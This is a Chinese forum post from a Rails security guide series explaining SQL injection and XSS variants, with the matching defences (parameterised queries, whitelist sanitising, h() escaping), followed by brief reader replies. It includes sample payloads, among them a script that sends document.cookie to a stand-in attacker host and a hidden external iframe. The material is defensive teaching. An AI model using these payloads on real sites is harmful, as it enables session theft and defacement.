论坛首页 编程语言技术论坛

Rails每周一题(八): Security Guide(下)

浏览 5004 次
该帖已经被评为精华帖
作者 正文
   发表时间:2009-05-03   最后修改:2009-08-08

在上篇和中篇中介绍了对session的攻击和其它一些常见攻击。在下篇中着重介绍注入攻击。

 

注入是通过向网站内引入恶意代码或者一些恶意参数,使这些有害的代码得以在网站的安全环境中运行的攻击方法。最显著的例子是XSS和SQL注入。

 

SQL注入

 

用一个简单例子介绍SQL注入。

 

Project.find(:all, :conditions => "name = '#{params[:name]}'") 

 

如果这时候用户输入 ’ OR 1 --’,则生成的SQL变成:

 

SELECT * FROM projects WHERE name = '' OR 1 --' 

 

注意两个短横杆代表注释,他会忽略所有后面的代码。所以这个SQL会把所有的projects列出来。

 

 

应对策略:

 

Ruby on Rails有一个内建的特殊SQL字符过滤器,它会escape ', ", NULL 和 换行符这些字符。使用Model.find(id)或者Model.find_by_something(something)时Rails会自动应用过滤器。但在使用conditions, connection.execute()或者Model.find_by_sql()时,应手工应用过滤器。

 

在使用conditions时,可以应用以下两种方式来escape特殊SQL字符。

 

Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) 
 
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) 

 

Cross-Site Scripting (XSS )

 

XSS的攻击一般如下:攻击者注入一些代码,然后web程序保存这段代码,并且会出现在一张会被受害者浏览的网页上。XSS可以偷取cookie,劫持session,重定向受害者的页面到一个假的站点,或者显示一些广告,改变站点的结构以获取一些保密信息或者通过浏览器的安全漏洞安装恶意软件。

 

HTML/JavaScript注入

 

一些简单的例子:

 

<script>alert('Hello');</script>    # 弹出一个确认窗口

<img src=javascript:alert('Hello')>   # 在一些不寻常的地方注入javascript。
<table background="javascript:alert('Hello')">  

 

盗取cookie

 

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> 

 

上面这段代码会向攻击者网站发一个请求,并且附上cookie为参数。

 

然后在www.attacker.com的网站访问日志上可以看到:

 

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 

 

这时候,攻击者就知道了被攻击者的session id。

 

Defacement

 

最常见的方式是通过iframe来引入外部站点的代码,比如:

 

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> 

 

它会从外部网站中引入任意的html和javascript代码,然后把它嵌入成为该网站的一个部分。

 

 

应对策略:

 

过滤用户输入,并且在显示页面时escape用户输入数据。

 

过滤用户输入建议用一个白名单,只允许用户输入在白名单之内的tag(你永远都不可能知道全部黑名单,这就是使用白名单过滤的理由)。比如:

 

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) 
s = sanitize(user_input, :tags => tags, :attributes => %w(href title)) 

 

第二步,在显示时escape所有的用户输入数据。使用escapeHtml()方法(它的别名是 h()),它会把&, ", <, >这些字符替换成(&amp; , &quot; , &lt ;, and &gt; )。程序员很容易忘记使用h()方法来escape用户输入的数据,所以推荐使用SafeErb 插件,它会提醒你escape这些用户输入字符串。

 

编码注入

 

当编码成一些如UTF8编码时,浏览器可以处理,但web应用程序不能处理。下面就是一个UTF8编码的攻击代码:

 

<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97; &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> 

 

这段代码会弹出一个弹出窗口。它也可以被sanitize()方法过滤。

 

CSS注入

— CSS注入本质上是JavaScript注入,因为有些浏览器(IE或者有些版本的Safari)允许在CSS里面嵌入JavaScript。

 

所以,攻击者可以这样在CSS里面注入有害的JavaScript:

 

<div style="background:url('javascript:alert(1)')"> 

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> 

 

Ajax注入

 

如果不是render view,那么应该在action里面escape输出数据。

 

如果action返回的是string,而不是render一个view。那么应该在action里面escape返回值。否者如果返回值里面包含XSS字符串,那么恶意的代码就会被执行。

 

RJS注入

 

要在RJS里面escape JavaScript -- 使用escape_javascript()方法;并且要escape html,使用h()方法。

 

其他

 

其他还有很多种注入方式,比如文本注入(Textile Injection),HTTP头注入(Header Injection),在此不再赘述。

 

 

 

Rails安全篇( )到此完结。

 

   发表时间:2009-05-10  
整理的不错,比较完整,很有价值。
以前零散的看过一部分。
谢谢分享!
0 请登录后投票
   发表时间:2009-05-14  
andyhu1007 写道

 

但在使用conditions, connection.execute()或者Model.find_by_sql()时,应手工应用过滤器。

 


如何手工应用呢?

0 请登录后投票
   发表时间:2009-05-22  
下面不是给出了手工应用的方法嘛
0 请登录后投票
   发表时间:2009-05-24  
其实最主要就是前台用 h
后台数据库 记得不用在语句里面使用#{}就行了
0 请登录后投票
论坛首页 编程语言技术版

跳转论坛:
Global site tag (gtag.js) - Google Analytics